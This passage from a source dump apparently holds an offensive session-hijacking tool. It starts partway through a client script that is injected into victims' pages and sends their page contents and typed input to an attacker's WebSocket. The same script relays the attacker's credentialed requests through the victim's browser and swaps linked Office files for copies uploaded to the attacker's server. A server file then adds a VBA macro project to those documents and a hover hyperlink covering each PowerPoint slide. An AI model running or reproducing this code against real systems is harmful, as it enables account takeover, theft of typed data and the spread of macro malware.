const observer = new MutationObserver((mutations) => { 129 | 130 | if (listening === "on") { 131 | if (iframe.contentDocument.documentElement.outerHTML != storedDOM){ 132 | storedDOM = iframe.contentDocument.documentElement.outerHTML; 133 | sendDOM(iframe, ws); 134 | } 135 | } 136 | 137 | const linkElements = Array.from(iframe.contentDocument.querySelectorAll(linkSelectors.join(','))); 138 | 139 | linkElements.forEach(element => { 140 | linkElements.forEach(element => { 141 | addToQueue(() => handleFileUpload(element)); 142 | }); 143 | }); 144 | 145 | }); 146 | 147 | observer.observe(iframe.contentDocument.documentElement, { 148 | childList: true, 149 | subtree: true, 150 | attributes: false, 151 | characterData: true, 152 | }); 153 | 154 | iframe.contentWindow.addEventListener('scroll', (event) => { 155 | if (listening === "on") { 156 | sendScroll(iframe, ws) 157 | } 158 | }); 159 | 160 | const inputs = iframe.contentWindow.document.querySelectorAll('input, textarea'); 161 | inputs.forEach(input => { 162 | input.addEventListener('input', (event) => { 163 | if (listening === "on") { 164 | const inputValue = event.target.value; 165 | const inputPath = getPathTo(event.target); 166 | ws.send(JSON.stringify({ 167 | setInput: { 168 | inputValue, 169 | inputPath 170 | } 171 | })); 172 | } 173 | }); 174 | }); 175 | 176 | } 177 | 178 | function checkSameOrigin(url) { 179 | const locationOrigin = new URL(window.location.href); 180 | const urlOrigin = new URL(url); 181 | 182 | if (locationOrigin.protocol !== urlOrigin.protocol || locationOrigin.hostname !== urlOrigin.hostname || locationOrigin.port !== urlOrigin.port) { 183 | return false; 184 | } 185 | 186 | const locationDomainParts = locationOrigin.hostname.split('.').reverse(); 187 | const urlDomainParts = urlOrigin.hostname.split('.').reverse(); 188 | 189 | for (let i = 0; i < Math.min(locationDomainParts.length, urlDomainParts.length); i++) { 190 | if (locationDomainParts[i] !== urlDomainParts[i]) { 191 | return false; 192 | } 193 | } 194 | 195 | return true; 196 | } 197 | 198 | async function checkCorsHeaders(url, headers) { 199 | try { 200 | const response = await fetch(url, { 201 | method: 'OPTIONS', 202 | mode: 'cors', 203 | headers: { 204 | 'Access-Control-Request-Method': 'GET', 205 | 'Access-Control-Request-Headers': headers.join(','), 206 | }, 207 | }); 208 | 209 | if (response.ok) { 210 | const allowedOrigin = response.headers.get('Access-Control-Allow-Origin'); 211 | const allowedHeaders = response.headers.get('Access-Control-Allow-Headers'); 212 | return { 213 | allowedOrigin: allowedOrigin === window.location.origin, 214 | allowedHeaders: allowedHeaders ? allowedHeaders.split(',').map((header) => header.trim().toLowerCase()) : [], 215 | }; 216 | } 217 | } catch (error) { 218 | console.error('Error sending preflight request:', error); 219 | } 220 | 221 | return { allowedOrigin: false, allowedHeaders: [] }; 222 | } 223 | 224 | async function handleFileUpload(element) { 225 | let sourceAttribute = ""; 226 | if (element.href) { 227 | sourceAttribute = "href"; 228 | } else if (element.dataset.href) { 229 | sourceAttribute = "data-href"; 230 | } else if (element.src) { 231 | sourceAttribute = "src"; 232 | } 233 | 234 | const url = element[sourceAttribute] || element.getAttribute(sourceAttribute); 235 | if (checkedURLs.includes(url)) return; 236 | 237 | const sameOrigin = checkSameOrigin(url); 238 | 239 | if (sameOrigin) { 240 | try { 241 | const response = await fetch(url); 242 | if (response.ok) { 243 | const blob = await response.blob(); 244 | const contentDisposition = response.headers.get('content-disposition'); 245 | let filename = contentDisposition ? contentDisposition.split('filename=')[1] : null; 246 | filename = filename ? filename.replace(/['"]+/g, '') : null; 247 | 248 | if (!filename) { 249 | const urlSegments = url.split('/'); 250 | filename = urlSegments[urlSegments.length - 1]; 251 | } 252 | 253 | const extension = filename ? filename.split('.').pop() : null; 254 | 255 | if (validExtensions.includes(extension)) { 256 | const formData = new FormData(); 257 | formData.append("file", blob, filename); 258 | 259 | const uploadResponse = await fetch(''{http_direction}'/upload', { 260 | method: 'POST', 261 | body: formData 262 | }); 263 | 264 | if (!uploadResponse.ok) { 265 | checkedURLs.push(url); 266 | return; 267 | } 268 | 269 | try { 270 | const data = await uploadResponse.json(); 271 | if (data.link) { 272 | const newLink = `'{http_direction}'${data.link}`; 273 | if (sourceAttribute.startsWith("data-")) { 274 | element.dataset[sourceAttribute.split("data-")[1]] = newLink; 275 | } else { 276 | element.setAttribute(sourceAttribute, newLink); 277 | } 278 | } 279 | } catch (jsonError) { 280 | } 281 | } else { 282 | checkedURLs.push(url); 283 | } 284 | } 285 | } catch (error) { 286 | console.error('Error fetching the file:', error); 287 | checkedURLs.push(url); 288 | } 289 | } else { 290 | fetch(''{http_direction}'/upload-via-url', { 291 | method: 'POST', 292 | headers: {'Content-Type': 'application/x-www-form-urlencoded'}, 293 | body: new URLSearchParams({url: url}).toString() 294 | }) 295 | .then(response => { 296 | if (!response.ok) { 297 | checkedURLs.push(url); 298 | throw new Error('No need to process further'); 299 | } 300 | return response.json(); 301 | }) 302 | .then(data => { 303 | if (data.link) { 304 | const newLink = `'{http_direction}'${data.link}`; 305 | if (sourceAttribute.startsWith("data-")) { 306 | element.dataset[sourceAttribute.split("data-")[1]] = newLink; 307 | } else { 308 | element.setAttribute(sourceAttribute, newLink); 309 | } 310 | } else { 311 | checkedURLs.push(url); 312 | } 313 | }) 314 | .catch(error => { 315 | }); 316 | } 317 | } 318 | 319 | async function sendHttpRequest(data, ws) { 320 | const sameOrigin = checkSameOrigin(data.url); 321 | let allowedOrigin = false; 322 | let allowedHeaders = []; 323 | 324 | if (!sameOrigin) { 325 | const corsHeaders = await checkCorsHeaders(data.url, Object.keys(data.headers || {})); 326 | allowedOrigin = corsHeaders.allowedOrigin; 327 | allowedHeaders = corsHeaders.allowedHeaders; 328 | } 329 | 330 | if (sameOrigin || allowedOrigin) { 331 | const xhr = new XMLHttpRequest(); 332 | xhr.onreadystatechange = () => { 333 | if (xhr.readyState === XMLHttpRequest.DONE) { 334 | let responseData; 335 | responseData = xhr.responseText; 336 | const responseHeaders = {}; 337 | xhr.getAllResponseHeaders().split('\r\n').forEach((header) => { 338 | const [key, value] = header.split(': '); 339 | if (key) { 340 | responseHeaders[key] = value; 341 | } 342 | }); 343 | ws.send(JSON.stringify({ 344 | requestId: data.requestId, 345 | data: responseData, 346 | headers: responseHeaders, 347 | status_code: xhr.status, 348 | })); 349 | } 350 | }; 351 | xhr.onerror = () => { 352 | ws.send(JSON.stringify({ error: 'Invalid Security Context', statusCode: 0 , requestId: data.requestId})); 353 | }; 354 | xhr.open(data.method, data.url); 355 | xhr.withCredentials = true; 356 | 357 | if (!sameOrigin) { 358 | Object.entries(data.headers || {}).forEach(([header, value]) => { 359 | if (allowedHeaders.includes(header.toLowerCase())) { 360 | xhr.setRequestHeader(header, value); 361 | } 362 | }); 363 | } else{ 364 | Object.entries(data.headers || {}).forEach(([header, value]) => { 365 | xhr.setRequestHeader(header, value); 366 | }); 367 | } 368 | if (data.method === 'POST' || data.method === 'PUT') { 369 | xhr.send(data.data); 370 | } else { 371 | xhr.send(); 372 | } 373 | } else { 374 | ws.send(JSON.stringify({ error: 'Invalid Security Context', statusCode: 0, requestId: data.requestId })); 375 | } 376 | } 377 | 378 | let ws = null; 379 | 380 | if (window.parent === window) { 381 | ws = new WebSocket('{websocket_direction}'); 382 | getPersistence().then((iframe) => { 383 | 384 | const linkElements = Array.from(iframe.contentDocument.querySelectorAll(linkSelectors.join(','))); 385 | 386 | linkElements.forEach(element => { 387 | addToQueue(() => handleFileUpload(element)); 388 | }); 389 | ws.onmessage = (event) => { 390 | const message = JSON.parse(event.data); 391 | if (message.sendRequest) { 392 | sendHttpRequest(message.sendRequest, ws); 393 | } else if (message.listening) { 394 | setListening(message.listening, iframe); 395 | } 396 | }; 397 | }); 398 | } 399 | 400 | -------------------------------------------------------------------------------- /server/public/extractedFiles/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/server/public/extractedFiles/.gitkeep -------------------------------------------------------------------------------- /server/public/files/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/server/public/files/.gitkeep -------------------------------------------------------------------------------- /server/public/templates/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/Session-Hijacking-Visual-Exploitation/653f2699478d4f34117b433ca9295035501a097e/server/public/templates/.gitkeep -------------------------------------------------------------------------------- /server/regenerateToken.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto'); 2 | const fs = require('fs'); 3 | 4 | const secret = crypto.randomBytes(32).toString('hex'); 5 | 6 | fs.writeFile('files/secret.json', JSON.stringify({ secret }, null, 2), (err) => { 7 | if (err) throw err; 8 | console.log('Secret regenerated successfully!'); 9 | }); 10 | -------------------------------------------------------------------------------- /server/register.js: -------------------------------------------------------------------------------- 1 | const bcrypt = require('bcrypt'); 2 | const fs = require('fs'); 3 | const readline = require('readline'); 4 | const readlineSync = require('readline-sync'); 5 | 6 | const rl = readline.createInterface({ 7 | input: process.stdin, 8 | output: process.stdout 9 | }); 10 | 11 | rl.question('Enter username: ', (username) => { 12 | const password = readlineSync.question('Enter password: ', { 13 | hideEchoBack: true // Esto oculta la contraseña 14 | }); 15 | 16 | bcrypt.hash(password, 10, (err, hash) => { 17 | if (err) throw err; 18 | 19 | const newUser = { 20 | username, 21 | password: hash 22 | }; 23 | 24 | fs.readFile('files/users.json', (err, data) => { 25 | if (err && err.code !== 'ENOENT') throw err; 26 | const users = err && err.code === 'ENOENT' ? [] : JSON.parse(data); 27 | users.push(newUser); 28 | 29 | fs.writeFile('files/users.json', JSON.stringify(users, null, 2), (err) => { 30 | if (err) throw err; 31 | console.log(`User ${username} registered successfully!`); 32 | rl.close(); 33 | }); 34 | }); 35 | }); 36 | }); 37 | -------------------------------------------------------------------------------- /server/setConfig.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const readlineSync = require('readline-sync'); 3 | 4 | const attackerPort = process.argv[2] || readlineSync.question('Enter port for attackerServer (default: 3000): ') || 3000; 5 | const victimPort = process.argv[3] || readlineSync.question('Enter port for victimServer (default: 8000): ') || 8000; 6 | const proxyPort = process.argv[4] || readlineSync.question('Enter port for proxyServer (default: 8080): ') || 8080; 7 | const sslEnabled = process.argv[5] || readlineSync.question('Enable SSL? (true/false, default: false): ') || 'false'; 8 | 9 | const config = { 10 | attackerServerPort: parseInt(attackerPort), 11 | victimServerPort: parseInt(victimPort), 12 | proxyServerPort: parseInt(proxyPort), 13 | sslEnabled: sslEnabled.toLowerCase() === 'true' 14 | }; 15 | 16 | fs.writeFile('files/config.json', JSON.stringify(config, null, 2), (err) => { 17 | if (err) throw err; 18 | console.log('Configuration saved successfully!'); 19 | }); 20 | -------------------------------------------------------------------------------- /server/victimServer.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const http = require('http'); 3 | const https = require('https'); 4 | const WebSocket = require('ws'); 5 | const path = require('path'); 6 | const multer = require('multer'); 7 | const AdmZip = require('adm-zip'); 8 | const xml2js = require('xml2js'); 9 | const crypto = require('crypto'); 10 | const { pipeline } = require('stream'); 11 | const axios = require('axios'); 12 | const ssrfFilter = require('ssrf-req-filter'); 13 | const { eachDeep } = require('deepdash/standalone'); 14 | const { v4: uuidv4 } = require('uuid'); 15 | const fs = require('fs'); 16 | const { execSync } = require('child_process'); 17 | const cors = require('cors'); 18 | 19 | const app = express(); 20 | app.use(cors()); 21 | 22 | const sslEnabled = getConfigValue('sslEnabled'); 23 | const port = getPort('victimServerPort'); 24 | 25 | let wss; 26 | 27 | app.use(express.urlencoded({ extended: true })); 28 | 29 | const storage = multer.diskStorage({ 30 | destination: 'public/files/', 31 | filename: (req, file, cb) => { 32 | const originalName = file.originalname; 33 | const fileId = uuidv4(); 34 | const uniqueName = fileId + "-" + originalName; 35 | cb(null, uniqueName); 36 | }, 37 | }); 38 | 39 | const upload = multer({ storage: storage }); 40 | 41 | const templatesDir = path.join(__dirname, 'public', 'templates'); 42 | const extractedFilesDir = path.join(__dirname, 'public', 'extractedFiles'); 43 | const filesDir = path.join(__dirname, 'public', 'files'); 44 | 45 | const officeExtensions = { 46 | docx: 'docm', 47 | xlsx: 'xlsm', 48 | pptx: 'pptm', 49 | docm: 'docm', 50 | xlsm: 'xlsm', 51 | pptm: 'pptm', 52 | dotx: 'dotm', 53 | xlsb: 'xltm', 54 | potx: 'potm', 55 | dotm: 'dotm', 56 | xltm: 'xltm', 57 | potm: 'potm', 58 | }; 59 | 60 | const hyperlinkActions = [ 61 | 'a:hlinkClick', 62 | 'a:hlinkHover', 63 | 'a:hlinkShowClick', 64 | 'a:hlinkMouseOver' 65 | ]; 66 | 67 | const dynamicCors = cors({ 68 | origin: function(origin, callback){ 69 | return callback(null, true); 70 | }, 71 | credentials: true 72 | }); 73 | 74 | function getFileMD5(filePath) { 75 | return new Promise((resolve, reject) => { 76 | const hash = crypto.createHash('md5'); 77 | const stream = fs.createReadStream(filePath); 78 | 79 | stream.on('data', chunk => hash.update(chunk)); 80 | stream.on('end', () => resolve(hash.digest('hex'))); 81 | stream.on('error', error => reject(error)); 82 | }); 83 | } 84 | 85 | function checkAndRemoveDuplicate(filePath) { 86 | getFileMD5(filePath).then(fileMD5 => { 87 | 88 | const extractedFilesDir = 'public/extractedFiles/'; 89 | fs.readdir(extractedFilesDir, (err, files) => { 90 | if (err) { 91 | console.error("Error reading directory:", err); 92 | return; 93 | } 94 | 95 | for (const file of files) { 96 | const extractedFilePath = path.join(extractedFilesDir, file); 97 | 98 | if (extractedFilePath === filePath) { 99 | continue; 100 | } 101 | 102 | getFileMD5(extractedFilePath).then(currentMD5 => { 103 | 104 | if (currentMD5 === fileMD5) { 105 | fs.unlink(extractedFilePath, err => { 106 | if (err) { 107 | console.error("Error deleting file:", err); 108 | return; 109 | } 110 | 111 | const originalNameWithoutExtension = path.basename(file, path.extname(file)); 112 | const newExt = officeExtensions[path.extname(file).substr(1)]; 113 | const correspondingFile = path.join('public/files/', `${originalNameWithoutExtension}.${newExt}`); 114 | 115 | fs.unlink(correspondingFile, err => { 116 | if (err) { 117 | console.error("Error deleting file:", err); 118 | } 119 | }); 120 | }); 121 | } 122 | }).catch(err => { 123 | console.error("Error calculating MD5:", err); 124 | }); 125 | } 126 | }); 127 | }).catch(err => { 128 | console.error("Error calculating MD5:", err); 129 | }); 130 | } 131 | 132 | function getOfficeFilePaths(extension) { 133 | switch (extension) { 134 | case 'docm': 135 | case 'dotm': 136 | return { 137 | vbaProjectPath: 'word/vbaProject.bin', 138 | relsPath: 'word/_rels/', 139 | vbaDataPath: 'word/vbaData.xml' 140 | }; 141 | case 'xlsm': 142 | case 'xltm': 143 | return { 144 | vbaProjectPath: 'xl/vbaProject.bin', 145 | relsPath: 'xl/_rels/', 146 | vbaDataPath: 'xl/vbaData.xml' 147 | }; 148 | case 'pptm': 149 | case 'potm': 150 | return { 151 | vbaProjectPath: 'ppt/vbaProject.bin', 152 | relsPath: 'ppt/_rels/', 153 | vbaDataPath: 'ppt/vbaData.xml' 154 | }; 155 | default: 156 | return null; 157 | } 158 | } 159 | 160 | function addOrUpdateFile(zip, filePath, fileContent) { 161 | const fileExists = zip.getEntry(filePath) !== null; 162 | if (fileExists) { 163 | zip.updateFile(filePath, fileContent); 164 | } else { 165 | zip.addFile(filePath, fileContent); 166 | } 167 | } 168 | 169 | function mergeRelationshipFiles(zip, sourceZip, dirPath) { 170 | const sourceEntries = sourceZip.getEntries(); 171 | const parser = new xml2js.Parser({ explicitArray: true }); 172 | const builder = new xml2js.Builder({ 173 | explicitArray: true, 174 | headless: false, 175 | renderOpts: { 176 | 'pretty': false, 177 | 'indent': '', 178 | 'newline': '' 179 | } 180 | }); 181 | 182 | const relationshipsAreEqual = (rel1, rel2) => { 183 | return rel1['$']['Type'] === rel2['$']['Type'] && rel1['$']['Target'] === rel2['$']['Target']; 184 | }; 185 | 186 | const findNextAvailableRId = (currentMaxRId, usedRIds) => { 187 | let nextRId; 188 | do { 189 | currentMaxRId++; 190 | nextRId = 'rId' + currentMaxRId; 191 | } while (usedRIds.has(nextRId)); 192 | return nextRId; 193 | }; 194 | 195 | let rIdMap = {}; 196 | let differentRelationships = []; 197 | 198 | sourceEntries.forEach(sourceEntry => { 199 | if (sourceEntry.entryName.startsWith(dirPath) && !sourceEntry.isDirectory) { 200 | const sourceFileContent = sourceZip.readFile(sourceEntry); 201 | const targetEntry = zip.getEntry(sourceEntry.entryName); 202 | 203 | if (targetEntry) { 204 | const targetFileContent = zip.readFile(targetEntry); 205 | 206 | parser.parseString(sourceFileContent, (sourceErr, sourceResult) => { 207 | if (sourceErr) { 208 | console.error('Error parsing source XML', sourceErr); 209 | return; 210 | } 211 | 212 | parser.parseString(targetFileContent, (targetErr, targetResult) => { 213 | if (targetErr) { 214 | console.error('Error parsing target XML', targetErr); 215 | return; 216 | } 217 | 218 | const sourceRelationships = sourceResult['Relationships']['Relationship'] || []; 219 | const targetRelationships = targetResult['Relationships']['Relationship'] || []; 220 | 221 | sourceRelationships.forEach(sourceRel => { 222 | const isIdentical = targetRelationships.some(targetRel => relationshipsAreEqual(sourceRel, targetRel)); 223 | 224 | if (!isIdentical) { 225 | differentRelationships.push(sourceRel); 226 | } 227 | }); 228 | 229 | if (differentRelationships.length > 0) { 230 | let maxRIdInZip = targetRelationships.reduce((max, rel) => { 231 | const currentRId = parseInt(rel['$']['Id'].substring(3)); 232 | return currentRId > max ? currentRId : max; 233 | }, 0); 234 | 235 | const usedRIds = new Set(targetRelationships.map(rel => rel['$']['Id'])); 236 | 237 | differentRelationships.forEach(differentRel => { 238 | const newRId = findNextAvailableRId(maxRIdInZip, usedRIds); 239 | usedRIds.add(newRId); 240 | maxRIdInZip = parseInt(newRId.substring(3)); 241 | 242 | rIdMap[differentRel['$']['Id']] = newRId; 243 | differentRel['$']['Id'] = newRId; 244 | 245 | targetRelationships.push(differentRel); 246 | }); 247 | targetResult['Relationships']['Relationship'] = targetRelationships; 248 | const updatedContent = builder.buildObject(targetResult); 249 | zip.updateFile(targetEntry.entryName, Buffer.from(updatedContent)); 250 | } 251 | }); 252 | }); 253 | } else { 254 | zip.addFile(sourceEntry.entryName, sourceFileContent); 255 | } 256 | } 257 | }); 258 | 259 | return rIdMap; 260 | 261 | } 262 | 263 | async function handlePowerPointFiles(originalZip, templateZip, rIdRelation) { 264 | const parser = new xml2js.Parser({ explicitArray: true }); 265 | const pptSlideDirPath = 'ppt/slides/'; 266 | 267 | let hyperlinksFromTemplate = []; 268 | const templateEntries = templateZip.getEntries(); 269 | 270 | templateEntries.forEach(entry => { 271 | if (entry.entryName.startsWith(pptSlideDirPath) && !entry.isDirectory) { 272 | const slideXmlContent = templateZip.readAsText(entry.entryName); 273 | parser.parseString(slideXmlContent, (err, result) => { 274 | if (err) { 275 | console.error(`Error parsing slide XML from template`, err); 276 | return; 277 | } 278 | 279 | eachDeep(result, (value, key, parent, context) => { 280 | if (hyperlinkActions.includes(key)) { 281 | hyperlinksFromTemplate.push(...value); 282 | } 283 | }); 284 | }); 285 | } 286 | }); 287 | 288 | const originalEntries = originalZip.getEntries(); 289 | 290 | originalEntries.forEach(entry => { 291 | 292 | const isSlideFile = entry.entryName.startsWith(pptSlideDirPath) && !entry.isDirectory; 293 | const isRelsFile = entry.entryName.includes("/_rels/") && entry.entryName.endsWith(".xml.rels"); 294 | 295 | if (isSlideFile && !isRelsFile) { 296 | const originalSlideContent = originalZip.readAsText(entry.entryName); 297 | 298 | parser.parseString(originalSlideContent, (err, result) => { 299 | if (err) { 300 | console.error(`Error parsing slide XML from original file`, err); 301 | return; 302 | } 303 | 304 | let spTree; 305 | eachDeep(result, (value, key, parent, context) => { 306 | if (key === 'p:spTree' && !spTree) { 307 | spTree = value; 308 | } 309 | }); 310 | 311 | eachDeep(result, (value, key, parent, context) => { 312 | if (key === 'r:id' && rIdRelation[value]) { 313 | parent[key] = rIdRelation[value]; 314 | } 315 | }); 316 | 317 | if (!spTree) { 318 | console.error('No se pudo encontrar spTree en la diapositiva.'); 319 | return; 320 | } 321 | 322 | const actionButton = { 323 | 'p:sp': [{ 324 | 'p:nvSpPr': [{ 325 | 'p:cNvPr': [{ '$': { 'id': '4', 'name': 'ActionButton 1' } }], 326 | 'p:cNvSpPr': [{ 'a:spLocks': [{ '$': { 'noGrp': '1' } }] }], 327 | 'p:nvPr': [{}] 328 | }], 329 | 'p:spPr': [{ 330 | 'a:xfrm': [{ 331 | 'a:off': [{ '$': { 'x': '0', 'y': '0' } }], 332 | 'a:ext': [{ '$': { 'cx': '9144000', 'cy': '6858000' } }] 333 | }], 334 | 'a:prstGeom': [{ '$': { 'prst': 'rect' } }], 335 | 'a:noFill': [{}], 336 | }], 337 | 'p:style': [{}], 338 | 'p:txBody': [{ 'a:bodyPr': [], 'a:lstStyle': [], 'a:p': [] }], 339 | 'p:click': [{ 'p:hyperlinkClick': [{}], '$': { 'action': 'ppActionNext' } }] 340 | }] 341 | }; 342 | 343 | if (!spTree[0]['p:sp'] || !Array.isArray(spTree[0]['p:sp'])) { 344 | spTree[0]['p:sp'] = []; 345 | } 346 | 347 | spTree[0]['p:sp'].push(actionButton['p:sp'][0]); 348 | 349 | actionButton['p:sp'][0]['p:nvSpPr'][0]['p:cNvPr'][0]['a:hlinkHover'] = hyperlinksFromTemplate; 350 | 351 | const builder = new xml2js.Builder({ 352 | explicitArray: true, 353 | headless: false, 354 | renderOpts: { 355 | 'pretty': false, 356 | 'indent': '', 357 | 'newline': '' 358 | } 359 | }); 360 | const updatedSlideContent = builder.buildObject(result); 361 | originalZip.updateFile(entry.entryName, Buffer.from(updatedSlideContent)); 362 | }); 363 | } 364 | }); 365 | } 366 | 367 | 368 | function updateXMLContentForSheet(zip, filePath, templateXmlContent) { 369 | const originalFileContent = zip.readFile(filePath); 370 | const parser = new xml2js.Parser({explicitArray: true}); 371 | let originalXml, templateXml; 372 | 373 | parser.parseString(originalFileContent, (err, result) => { 374 | if (err) { 375 | console.error(`Error parsing ${filePath}`, err); 376 | return; 377 | } 378 | originalXml = result; 379 | }); 380 | 381 | parser.parseString(templateXmlContent, (err, result) => { 382 | if (err) { 383 | console.error(`Error parsing template XML`, err); 384 | return; 385 | } 386 | templateXml = result; 387 | }); 388 | 389 | if (!originalXml || !templateXml) { 390 | console.error(`Unable to parse XMLs for ${filePath}`); 391 | return; 392 | } 393 | 394 | const templateSheetPr = templateXml['worksheet']['sheetPr'][0]['$']; 395 | 396 | const newSheetPr = { 397 | $: {} 398 | }; 399 | 400 | if (templateSheetPr && templateSheetPr['codeName']) { 401 | newSheetPr['$']['codeName'] = templateSheetPr['codeName']; 402 | } 403 | 404 | originalXml['worksheet'] = { 405 | $: { ...originalXml['worksheet']['$'] }, 406 | sheetPr: [newSheetPr], 407 | ...originalXml['worksheet'] 408 | }; 409 | 410 | const builder = new xml2js.Builder({explicitArray: true, headless: false}); 411 | const updatedXmlContent = builder.buildObject(originalXml); 412 | 413 | zip.updateFile(filePath, Buffer.from(updatedXmlContent)); 414 | } 415 | 416 | function addMacroToDocument(file, callback) { 417 | const extension = path.extname(file).substring(1); 418 | const newExtension = officeExtensions[extension]; 419 | 420 | if (!newExtension) { 421 | return callback(new Error(`File extension ${extension} is not supported.`)); 422 | } 423 | 424 | const templateFile = path.join(templatesDir, `template.${newExtension}`); 425 | if (!fs.existsSync(templateFile)) { 426 | return callback(new Error(`Template for ${newExtension} does not exist.`)); 427 | } 428 | 429 | if (!fs.existsSync(extractedFilesDir)) { 430 | fs.mkdirSync(extractedFilesDir, { recursive: true }); 431 | } 432 | if (!fs.existsSync(filesDir)) { 433 | fs.mkdirSync(filesDir, { recursive: true }); 434 | } 435 | 436 | const { vbaProjectPath, relsPath, vbaDataPath } = getOfficeFilePaths(newExtension); 437 | const contentTypesPath = '[Content_Types].xml'; 438 | 439 | const originalZip = new AdmZip(file); 440 | const templateZip = new AdmZip(templateFile); 441 | 442 | if(newExtension == "docm" || newExtension == "dotm"){ 443 | 444 | const contentTypesFromTemplate = templateZip.readFile(contentTypesPath); 445 | const vbaProjectFromTemplate = templateZip.readFile(vbaProjectPath); 446 | const vbaDataFromTemplate = templateZip.readFile(vbaDataPath); 447 | 448 | addOrUpdateFile(originalZip, contentTypesPath, contentTypesFromTemplate); 449 | addOrUpdateFile(originalZip, vbaProjectPath, vbaProjectFromTemplate); 450 | addOrUpdateFile(originalZip, vbaDataPath, vbaDataFromTemplate); 451 | 452 | mergeRelationshipFiles(originalZip, templateZip, relsPath); 453 | 454 | } 455 | else if(newExtension == "xlsm" || newExtension == "xltm"){ 456 | 457 | const contentTypesFromTemplate = templateZip.readFile(contentTypesPath); 458 | const vbaProjectFromTemplate = templateZip.readFile(vbaProjectPath); 459 | 460 | addOrUpdateFile(originalZip, contentTypesPath, contentTypesFromTemplate); 461 | addOrUpdateFile(originalZip, vbaProjectPath, vbaProjectFromTemplate); 462 | 463 | mergeRelationshipFiles(originalZip, templateZip, relsPath); 464 | 465 | const worksheetDirPath = 'xl/worksheets/'; 466 | const templateEntries = templateZip.getEntries(); 467 | 468 | templateEntries.forEach(entry => { 469 | if (entry.entryName.startsWith(worksheetDirPath) && !entry.isDirectory) { 470 | const worksheetTemplateContent = templateZip.readFile(entry.entryName); 471 | updateXMLContentForSheet(originalZip, entry.entryName, worksheetTemplateContent); 472 | } 473 | }); 474 | } 475 | else if(newExtension == "pptm" || newExtension == "potm"){ 476 | 477 | const contentTypesFromTemplate = templateZip.readFile(contentTypesPath); 478 | const vbaProjectFromTemplate = templateZip.readFile(vbaProjectPath); 479 | 480 | addOrUpdateFile(originalZip, contentTypesPath, contentTypesFromTemplate); 481 | addOrUpdateFile(originalZip, vbaProjectPath, vbaProjectFromTemplate); 482 | 483 | rIdRelation = mergeRelationshipFiles(originalZip, templateZip, relsPath); 484 | 485 | handlePowerPointFiles(originalZip, templateZip, rIdRelation); 486 | } 487 | 488 | const newFileName = path.basename(file, `.${extension}`) + `.${newExtension}`; 489 | const newFilePath = path.join(filesDir, newFileName); 490 | originalZip.writeZip(newFilePath); 491 | 492 | const originalFileDestination = path.join(extractedFilesDir, path.basename(file)); 493 | fs.renameSync(file, originalFileDestination); 494 | 495 | return callback(null, newFilePath); 496 | } 497 | 498 | function getPort(configKey) { 499 | const config = readConfig(); 500 | return config[configKey]; 501 | } 502 | 503 | function getConfigValue(configKey) { 504 | const config = readConfig(); 505 | return config[configKey]; 506 | } 507 | 508 | function readConfig() { 509 | let config; 510 | try { 511 | config = JSON.parse(fs.readFileSync('files/config.json')); 512 | } catch (err) { 513 | if (err.code === 'ENOENT') { 514 | console.log('No configuration found. Running "npm run setConfig" ...'); 515 | execSync('npm run setConfig', { stdio: 'inherit' }); 516 | config = JSON.parse(fs.readFileSync('files/config.json')); 517 | } else { 518 | throw err; 519 | } 520 | } 521 | 522 | return config; 523 | } 524 | 525 | function filterHeaders(headers) { 526 | const forbiddenHeaders = [ 527 | "shve-authentication", 528 | "shve", 529 | "host", 530 | "connection", 531 | "accept-encoding", 532 | "referer", 533 | "sec-fetch-dest", 534 | "sec-fetch-mode", 535 | "sec-fetch-site", 536 | "user-agent", 537 | "sec-ch-ua", 538 | "sec-ch-ua-mobile", 539 | "sec-ch-ua-platform", 540 | "sec-fetch-user", 541 | "content-length", 542 | "origin", 543 | ]; 544 | 545 | return Object.keys(headers) 546 | .filter((key) => !forbiddenHeaders.includes(key.toLowerCase())) 547 | .reduce((obj, key) => { 548 | obj[key] = headers[key]; 549 | return obj; 550 | }, {}); 551 | } 552 | 553 | app.use('/client', async function(req, res) { 554 | const scriptPath = path.join(__dirname, 'public', 'client.js'); 555 | let script = fs.readFileSync(scriptPath, 'utf8'); 556 | 557 | const wsProtocol = sslEnabled ? 'wss' : 'ws'; 558 | const httpProtocol = sslEnabled ? 'https' : 'http'; 559 | const ip = req.query.ip; 560 | const port = await getPort('victimServerPort'); 561 | 562 | script = script.replace(/'\{websocket_direction\}'/g, `'${wsProtocol}://${ip}:${port}'`); 563 | script = script.replace(/'\{http_direction\}'/g, `${httpProtocol}://${ip}:${port}`); 564 | 565 | res.setHeader('Content-Type', 'application/javascript'); 566 | res.send(script); 567 | }); 568 | 569 | 570 | app.post('/upload', upload.single('file'), dynamicCors, (req, res) => { 571 | const file = req.file; 572 | if (!file) { 573 | return res.status(400).send('File not sent'); 574 | } 575 | 576 | const filePath = `public/files/${file.filename}`; 577 | 578 | checkAndRemoveDuplicate(`public/extractedFiles/${file.filename}`); 579 | 580 | addMacroToDocument(filePath, (err, message) => { 581 | if (err) { 582 | console.error(err); 583 | return res.status(500).send('Error loading the macro.'); 584 | } 585 | 586 | const downloadLink = `/downloads/${file.filename.split('-').slice(0, 5).join('-')}`; 587 | res.send({ link: downloadLink }); 588 | }); 589 | }); 590 | 591 | app.post('/upload-via-url', dynamicCors, async (req, res) => { 592 | const fileUrl = req.body.url; 593 | 594 | if (!fileUrl) { 595 | return res.status(400).send('No URL provided'); 596 | } 597 | 598 | try { 599 | const response = await axios.get(fileUrl, { 600 | responseType: 'stream', 601 | httpAgent: ssrfFilter(fileUrl), 602 | httpsAgent: ssrfFilter(fileUrl) 603 | }); 604 | 605 | const contentDisposition = response.headers['content-disposition']; 606 | 607 | 608 | let filename = contentDisposition ? contentDisposition.split('filename=')[1] : null; 609 | filename = filename ? filename.replace(/['"]+/g, '') : null; 610 | 611 | if (!filename) { 612 | filename = path.basename(new URL(fileUrl).pathname); 613 | } 614 | 615 | const fileExtension = path.extname(filename).substr(1); 616 | 617 | if (!Object.keys(officeExtensions).includes(fileExtension)) { 618 | return res.status(400).send('Invalid file type. Only Office files are allowed.'); 619 | } 620 | 621 | const fileId = uuidv4(); 622 | const uniqueFilename = 